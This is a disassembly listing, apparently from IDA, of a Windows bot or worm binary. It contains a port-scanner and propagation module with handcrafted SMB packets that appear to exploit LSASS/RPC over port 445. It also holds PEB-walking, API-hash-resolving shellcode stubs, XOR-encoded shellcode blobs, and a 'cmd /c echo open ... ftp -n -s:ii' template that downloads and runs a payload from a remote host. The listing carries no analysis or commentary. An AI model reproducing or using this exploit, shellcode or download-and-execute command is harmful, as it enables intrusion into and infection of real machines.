aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo
dd 0
dword_444FDC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FEC dd 6469706Bh, 7325203Ah, 0dword_444FF8 dd 203A736Bh, 7325hdword_445000 dd 202E6425h, 7325202Fh, 0dword_44500C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o
; sub_41F030+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o
; sub_41F030+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41F030+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o
; sub_41F030+51Ao
align 4
asc_445088: ; DATA XREF: sub_41F030+2EFo
; sub_41F030+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o
; sub_41F030+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o
; sub_41F030+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o
; sub_41F030+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o
; sub_41F030+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o
; sub_420630+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo
; sub_4208E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
; sub_4208E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o
; sub_420630+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo
align 4
off_445304 dd offset asc_616C4E ; DATA XREF: sub_4208E0+E3o
; "ллллллллллллллллллллллллллллллллллллллл"...
aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo
align 4
off_44531C dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o
; sub_4208E0:loc_420B6Bo
align 10h
asc_4453F0: ; DATA XREF: sub_420F10:loc_420FCFo
; sub_420F10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o
; sub_420F10:loc_42117Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420F10+84o
; sub_420F10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_445428 dd 1BDh ; sub_422B40+310o ...
off_44542C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr
dword_445430 dd 0 ; sub_4236F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401820h, 0
dd 1, 0
aNet445 db 'net445',0
align 10h
dd 656E0000h, 35343474h, 6 dup(0)
dd 1BDh, 402199h, 0
dd 1, 0
aLsass db 'lsass',0
align 4
dd 736C0000h, 737361h, 6 dup(0)
dd 1BDh, 401DCAh, 0
dd 1, 1Fh dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422B40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
align 4
dd 0
aB db ' -b',0 ; DATA XREF: sub_422B40+747o
off_4455F0 dd offset loc_612D20 ; DATA XREF: sub_422B40+737o
; sub_422B40+7A3o ...
dword_4455F4 dd 722D20h ; sub_422B40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do
align 4
dd 0
dword_4456EC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423DD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004242B7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424206o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042414Fo
dd 3 dup(0)
aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_424920+BDo
align 10h
dword_4458B0 dd 10FF8h, 0 dword_4458B8 dd 10FF8h dword_4458BC dd 7FFDF020h, 0 dword_4458C4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44594C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_44597C dd 0 dword_445980 dd 800000D4h align 8
; =============== S U B R O U T I N E =======================================
sub_445988 proc near ; DATA XREF: sub_425100+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_445A84
push dword ptr [esi]
push 63D61209h
call sub_445A9A
mov [esi+8], eax
call sub_445A4D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_445A9A
mov [esi+0Ch], eax
call sub_4459FF
push dword ptr [esi+4]
push 4C0297FAh
call sub_445A9A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_445988 endp
; =============== S U B R O U T I N E =======================================
sub_4459FF proc near ; CODE XREF: sub_445988+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_445A28
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4459FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A28 proc near ; CODE XREF: sub_4459FF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_445A37: ; CODE XREF: sub_445A28+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_445A44
inc ebx
jmp short loc_445A37
; ---------------------------------------------------------------------------
loc_445A44: ; CODE XREF: sub_445A28+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_445A28 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A4D proc near ; CODE XREF: sub_445988+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_445A65: ; CODE XREF: sub_445A4D+1Ej
cmp [ecx], ebx
jz short loc_445A6D
mov ecx, [ecx]
jmp short loc_445A65
; ---------------------------------------------------------------------------
loc_445A6D: ; CODE XREF: sub_445A4D+1Aj
mov edx, edi
loc_445A6F: ; CODE XREF: sub_445A4D+2Aj
cmp [edx+4], ebx
jz short loc_445A79
mov edx, [edx+4]
jmp short loc_445A6F
; ---------------------------------------------------------------------------
loc_445A79: ; CODE XREF: sub_445A4D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_445A4D endp
; =============== S U B R O U T I N E =======================================
sub_445A84 proc near ; CODE XREF: sub_445988+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_445A84 endp
; =============== S U B R O U T I N E =======================================
sub_445A9A proc near ; CODE XREF: sub_445988+16p
; sub_445988+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_445AB0: ; CODE XREF: sub_445A9A+33j
jecxz short loc_445AEA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_445ABD: ; CODE XREF: sub_445A9A+2Dj
lodsb
cmp al, ah
jz short loc_445AC9
ror edi, 0Dh
add edi, eax
jmp short loc_445ABD
; ---------------------------------------------------------------------------
loc_445AC9: ; CODE XREF: sub_445A9A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_445AB0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_445AEA: ; CODE XREF: sub_445A9A:loc_445AB0j
; sub_445A9A:loc_445AEAj
jmp short loc_445AEA
sub_445A9A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_445AF0 proc near ; DATA XREF: sub_425100+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_445B42
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_445B0D: ; CODE XREF: sub_445AF0+38j
jecxz short loc_445B3D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_445B18: ; CODE XREF: sub_445AF0+32j
lodsb
test al, al
jz short loc_445B24
ror edx, 0Dh
add edx, eax
jmp short loc_445B18
; ---------------------------------------------------------------------------
loc_445B24: ; CODE XREF: sub_445AF0+2Bj
cmp edx, [esp+arg_0]
jnz short loc_445B0D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_445B3D: ; CODE XREF: sub_445AF0:loc_445B0Dj
mov [esp+arg_0], ebx
retn
sub_445AF0 endp
; =============== S U B R O U T I N E =======================================
sub_445B42 proc near ; CODE XREF: sub_445AF0+7p
; FUNCTION CHUNK AT 00445B7A SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_445B5B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_445B66
; ---------------------------------------------------------------------------
loc_445B5B: ; CODE XREF: sub_445B42+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_445B66: ; CODE XREF: sub_445B42+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_445B7A
sub_445B42 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445B6D proc near ; CODE XREF: sub_445B42:loc_445B7Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_445B6D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_445B42
loc_445B7A: ; CODE XREF: sub_445B42+29j
call sub_445B6D
; END OF FUNCTION CHUNK FOR sub_445B42
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_445C14 dd 23h dword_445C18 dd 60h dword_445C1C dd 62B0606h, 2050501h, 0A0hdword_445C28 dd 0A1h dword_445C2C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do
align 4
loc_445C38: ; DATA XREF: sub_424920+100o
jmp short near ptr dword_445C40
; ---------------------------------------------------------------------------
align 10h
dword_445C40 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425100+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_445CFA
; =============== S U B R O U T I N E =======================================
sub_445CEA proc far ; CODE XREF: sub_445CEA:loc_445CFAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_445CF2: ; CODE XREF: sub_445CEA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_445CF2
jmp short loc_445CFF
; ---------------------------------------------------------------------------
loc_445CFA: ; CODE XREF: ___:00445CE8j
call near ptr sub_445CEA
loc_445CFF: ; CODE XREF: sub_445CEA+Ej
jo short loc_445D63
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_445D81
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_445D63: ; CODE XREF: sub_445CEA:loc_445CFFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_445D81: ; CODE XREF: sub_445CEA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_445CEA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_445E28: ; DATA XREF: sub_4257F0+12Bo
; sub_4257F0+135o ...
jmp short loc_445E3A
; =============== S U B R O U T I N E =======================================
sub_445E2A proc near ; CODE XREF: sub_445E2A:loc_445E3Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_445E32: ; CODE XREF: sub_445E2A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_445E32
jmp short loc_445E3F
; ---------------------------------------------------------------------------
loc_445E3A: ; CODE XREF: ___:loc_445E28j
call sub_445E2A
loc_445E3F: ; CODE XREF: sub_445E2A+Ej
jo short near ptr dword_445DB8+1Eh
cwde
cdq
cdq
retn
sub_445E2A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
word_445ED8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w
dw 59AAh
dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h
dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h
dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h
dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
dd 99EDFCF2h, 0
dword_445FC0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:00425E52o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44604C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425E87o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_4460F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425EB6o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4461D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+5Do
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
db 43h, 0, 24h
dword_44622F dd 3F000000h dword_446233 dd 3F3F3F3Fh byte_446237 db 0 ; DATA XREF: sub_4257F0+B4r
dd 0
dword_44623C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2C2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_4462A8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2F5o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44634C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+3FAo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4463CC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_446460 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+335o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4464CC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+368o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446540 dd 0 dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 3 dup(0)
dword_4465CC dd 1004600h ; sub_4257F0+24Fr
dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467B4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
align 4
dd 0
